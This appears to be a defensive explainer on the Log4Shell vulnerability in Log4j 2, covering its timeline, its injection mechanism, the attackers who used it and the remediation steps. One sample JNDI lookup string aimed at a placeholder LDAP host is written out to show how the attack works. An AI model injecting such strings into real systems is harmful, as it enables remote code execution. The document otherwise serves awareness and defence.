Log4Shell (CVE-2021-44228)

On 9 December 2021 a vulnerability in Log4j 2, the logging library that sits inside almost every Java application, became public. Within hours the entire internet was scanning for it. It was not entirely new to attackers: Cloudflare found limited testing of the flaw from 1 December, and Cisco Talos observed attack activity from 2 December. Log4Shell has been the textbook illustration of supply-chain depth ever since.

What is Log4Shell

Log4j could look up and substitute values inside a log line. A string such as ${jndi:ldap://example.com/a} was not text to the library but an instruction: fetch something from that server and run it. Anything an application logged could carry that instruction, and applications log almost everything: a username, a search term, a User-Agent header.

How the attack works

The attacker puts the string into a field they suspect gets logged. Often that was simply the User-Agent of an HTTP request. The moment the application wrote that line, the server itself connected out to the attacker, fetched a Java class and executed it. No credentials, no interaction from an employee.

At its core this is an injection: attacker input is evaluated as a JNDI lookup expression (CWE-917). The outbound connection is only the means. The damage comes from the server loading and running a class from a server the attacker controls, which turns a log line into remote code execution.

Who exploited it

A broad range of attackers. Criminal groups scanned the internet at scale, and in many cases the first payload was a cryptominer or botnet malware such as Mirai. State actors followed. CISA described, for example, how Iranian government-sponsored actors got into a US federal agency through an unpatched VMware Horizon server, installed a cryptominer and moved on to the domain controller. That intrusion went back to at least February 2022, two months after the patch was released.

Why it dragged on for years

Nobody installs Log4j on purpose. It arrives as a dependency of a framework, which arrives with a vendor’s product. Organisations simply did not know where it was running. Applications that were never patched are still found and exploited years later.

What to do now

• Inventory which applications use Log4j 2, indirect dependencies included. A software bill of materials makes this repeatable.
• Run a currently maintained Log4j 2 release. Log4Shell itself was closed in 2.15.0 (2.12.2 on Java 7, 2.3.1 on Java 6); all three follow-up flaws are fixed as of 2.17.1, 2.12.4 and 2.3.2. The Java 7 and Java 6 lines no longer receive updates, and later releases have fixed other issues as well.
• Restrict outbound traffic from servers. Without the ability to call out, the second stage of the attack fails.
• Check whether anything arrived from December 2021 onwards. Access obtained then may still be in place.